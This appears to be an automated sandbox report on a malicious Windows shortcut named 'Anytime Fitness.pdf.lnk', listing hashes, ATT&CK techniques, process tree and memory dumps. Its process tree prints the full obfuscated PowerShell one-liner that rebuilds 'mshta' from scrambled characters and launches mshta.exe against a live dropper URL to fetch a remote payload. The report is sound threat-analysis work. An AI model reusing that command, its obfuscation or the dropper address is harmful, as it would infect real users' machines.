7a1f70a362f5e5331aa486365238a874f3c40508f2a448d822eb38480e83fb56

Analysis

max time kernel
129s
max time network
136s
platform
windows10-1703_x64
resource
win10-20240611-en
resource tags

arch:x64arch:x86image:win10-20240611-enlocale:en-usos:windows10-1703-x64system
submitted
11/09/2024, 15:06

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General

Target

Anytime Fitness.pdf.lnk
Size

2KB
MD5

3c3d769913aa7ba07891534b8604df80
SHA1

7ee2072232acde99695906ea6fb7c29da08ec888
SHA256

3d8f84aaf7be169bc77e06ef4b80816ceff61e8316e86c392f1a1b4f19d1eef5
SHA512

ccf985204a33563bc8c32c45b1d51abe3178e05f9ee8221b3dfc9adb27b19777eb7e3531ac9f51b610ec389744fc0ac46ff2f6920040ac29c26e228d090bfedc

Score

10^/10

execution

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://gg.gg/1bzm37

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
2	4544	mshta.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2436	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2436	powershell.exe
2436	powershell.exe
2436	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2436	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 3492 wrote to memory of 2436	3492	cmd.exe	71
PID 3492 wrote to memory of 2436	3492	cmd.exe	71
PID 2436 wrote to memory of 4544	2436	powershell.exe	72
PID 2436 wrote to memory of 4544	2436	powershell.exe	72

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\Anytime Fitness.pdf.lnk"
1⤵
- Suspicious use of WriteProcessMemory
PID:3492
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted $L=':b/3aT7mhMl1st.pgz'; &(-join($L[(306-294),(461-457),(-474+484)])) \= (-join($L[(306-294),(461-457),(-474+484)])); \= $\ (-join($L[(-893+900),(306-294),(316-308),(-207+212),(461-457)])); foreach($r in @((714-706),(334-321),(-371+384),(747-732),(194-194),(-549+551),(191-189),(-107+123),(477-461),(-397+411),(-227+243),(-160+176),(-391+393),(628-617),(219-218),(301-284),(686-679),(-262+265),(-894+900))){$m+=$L[$r]}; $\ $m;
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2436
- - C:\Windows\system32\mshta.exe
    "C:\Windows\system32\mshta.exe" http://gg.gg/1bzm37
    3⤵
    - Blocklisted process makes network request
    PID:4544

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wyq4q03q.ij3.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
memory/2436-2-0x00007FFA6D723000-0x00007FFA6D724000-memory.dmp

Filesize
4KB

Download
memory/2436-7-0x000001EF29110000-0x000001EF29132000-memory.dmp

Filesize
136KB

Download
memory/2436-9-0x00007FFA6D720000-0x00007FFA6E10C000-memory.dmp

Filesize
9.9MB

Download
memory/2436-11-0x000001EF416C0000-0x000001EF41736000-memory.dmp

Filesize
472KB

Download
memory/2436-12-0x00007FFA6D720000-0x00007FFA6E10C000-memory.dmp

Filesize
9.9MB

Download
memory/2436-27-0x00007FFA6D720000-0x00007FFA6E10C000-memory.dmp

Filesize
9.9MB

Download
memory/2436-31-0x00007FFA6D720000-0x00007FFA6E10C000-memory.dmp

Filesize
9.9MB

Download